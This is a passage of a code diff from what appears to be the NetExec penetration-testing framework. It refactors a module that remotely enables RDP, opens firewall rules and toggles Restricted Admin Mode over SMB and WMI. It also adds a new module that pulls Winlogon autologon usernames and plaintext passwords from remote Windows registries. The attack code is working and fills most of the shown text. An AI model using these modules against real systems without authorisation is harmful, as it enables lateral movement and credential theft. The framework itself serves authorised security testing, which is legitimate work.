rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "DisableRestrictedAdmin")
if int(data) == 0:
self.logger.success("Enable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
elif int(data) == 1:
self.logger.success("Disable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
try:
remoteOps.finish()
except:
pass
with contextlib.suppress(Exception):
remote_ops.finish()
def query_RDPPort(self, remoteOps, regHandle):
def query_rdp_port(self, remoteOps, regHandle):
if remoteOps:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PortNumber")
self.logger.success(f"RDP Port: {str(data)}")
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, key_handle, "PortNumber")
self.logger.success(f"RDP Port: {data!s}")
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/enable_rdp.rb
def firewall_CMD(self, action):
def firewall_cmd(self, action):
cmd = f"netsh firewall set service type = remotedesktop mode = {action}"
self.logger.info("Configure firewall via execute command.")
output = self.__execute(cmd, True)
@@ -211,20 +204,22 @@ class rdp_SMB:
else:
self.logger.fail(f"{action.capitalize()} RDP firewall rules via cmd failed, maybe got detected by AV software.")
class rdp_WMI:
class RdpWmi:
def __init__(self, context, connection, timeout):
self.logger = context.log
self.__currentprotocol = context.protocol
# From dfscoerce.py
self.__username=connection.username
self.__password=connection.password
self.__domain=connection.domain
self.__lmhash=connection.lmhash
self.__nthash=connection.nthash
self.__target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos=connection.kerberos
self.__kdcHost=connection.kdcHost
self.__aesKey=connection.aesKey
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = connection.lmhash
self.__nthash = connection.nthash
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
try:
@@ -239,104 +234,105 @@ class rdp_WMI:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
if not self.__stringBinding:
error_msg = "RDP-WMI: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again"
self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg)
# Make it force break function
self.__dcom.disconnect()
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
except Exception as e:
self.logger.fail(f'Unexpected wmi error: {str(e)}, please try to use "-o" with "METHOD=smb"')
self.logger.fail(f'Unexpected wmi error: {e}, please try to use "-o" with "METHOD=smb"')
if self.__iWbemLevel1Login in locals():
self.__dcom.disconnect()
def rdp_Wrapper(self, action, old=False):
if old == False:
def rdp_wrapper(self, action, old=False):
if old is False:
# According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting
# Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices"
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
if action == 'enable':
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
if action == "enable":
self.logger.info("Enabled RDP services and setting up firewall.")
iWbemClassObject.SetAllowTSConnections(1,1)
elif action == 'disable':
i_wbem_class_object.SetAllowTSConnections(1, 1)
elif action == "disable":
self.logger.info("Disabled RDP services and setting up firewall.")
iWbemClassObject.SetAllowTSConnections(0,0)
i_wbem_class_object.SetAllowTSConnections(0, 0)
else:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
if action == 'enable':
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
if action == "enable":
self.logger.info("Enabling RDP services (old system not support setting up firewall)")
iWbemClassObject.SetAllowTSConnections(1)
elif action == 'disable':
i_wbem_class_object.SetAllowTSConnections(1)
elif action == "disable":
self.logger.info("Disabling RDP services (old system not support setting up firewall)")
iWbemClassObject.SetAllowTSConnections(0)
self.query_RDPResult(old)
i_wbem_class_object.SetAllowTSConnections(0)
if action == 'enable':
self.query_RDPPort()
self.query_rdp_result(old)
if action == "enable":
self.query_rdp_port()
# Need to create new iWbemServices interface in order to flush results
def query_RDPResult(self, old=False):
if old == False:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def query_rdp_result(self, old=False):
if old is False:
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
result = dict(iWbemClassObject.getProperties())
result = result['AllowTSConnections']['value']
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
result = dict(i_wbem_class_object.getProperties())
result = result["AllowTSConnections"]["value"]
if result == 0:
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully")
else:
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully")
else:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
result = dict(iWbemClassObject.getProperties())
result = result['AllowTSConnections']['value']
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
result = dict(i_wbem_class_object.getProperties())
result = result["AllowTSConnections"]["value"]
if result == 0:
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
else:
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
def query_RDPPort(self):
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/DEFAULT', NULL, NULL)
def query_rdp_port(self):
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
out = StdRegProv.GetDWORDValue(2147483650, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp', 'PortNumber')
self.logger.success(f"RDP Port: {str(out.uValue)}")
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
out = std_reg_prov.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber")
self.logger.success(f"RDP Port: {out.uValue!s}")
# Nt version under 6 not support RAM.
def rdp_RAMWrapper(self, action):
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
def rdp_ram_wrapper(self, action):
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
if action == 'enable-ram':
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
if action == "enable-ram":
self.logger.info("Enabling Restricted Admin Mode.")
StdRegProv.SetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin', 0)
elif action == 'disable-ram':
std_reg_prov.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0)
elif action == "disable-ram":
self.logger.info("Disabling Restricted Admin Mode (Clear).")
StdRegProv.DeleteValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
out = StdRegProv.GetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
std_reg_prov.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
out = std_reg_prov.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
if out.uValue == 0:
self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
elif out.uValue == None:
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
elif out.uValue is None:
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
+6 -9
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
@@ -63,8 +60,8 @@ class NXCModule:
if "WORD" in self.type:
try:
self.value = int(self.value)
except:
context.log.fail(f"Invalid registry value type specified: {self.value}")
except Exception as e:
context.log.fail(f"Invalid registry value type specified: {self.value}: {e}")
return
if self.type in type_dict:
self.type = type_dict[self.type]
@@ -112,8 +109,8 @@ class NXCModule:
try:
# Check if value exists
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
except:
self.context.log.fail(f"Registry key {self.key} does not exist")
except Exception as e:
self.context.log.fail(f"Registry key {self.key} does not exist: {e}")
return
# Delete value
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
@@ -135,7 +132,7 @@ class NXCModule:
self.value,
)
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
except:
except Exception:
rrp.hBaseRegSetValue(
remote_ops._RemoteOperations__rrp,
key_handle,
@@ -150,7 +147,7 @@ class NXCModule:
try:
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.highlight(f"{self.key}: {reg_value}")
except:
except Exception:
if self.delete:
pass
else:
+46
View File
@@ -0,0 +1,46 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
r"""
WinLogon AutoLogon: extract the credential from the following registry hive
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Module by @pentest_swissky
"""
name = "reg-winlogon"
description = "Collect autologon credential stored in the registry"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
)
keyHandle = ans["phkResult"]
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
for reg_key in reg_keys:
try:
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
context.log.highlight(f"{reg_key}: {reg_value}")
except Exception:
context.log.highlight(f"{reg_key}:")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()
Loaded 100 of 199 files, more files were not shown because too many files have changed in this diff. Show more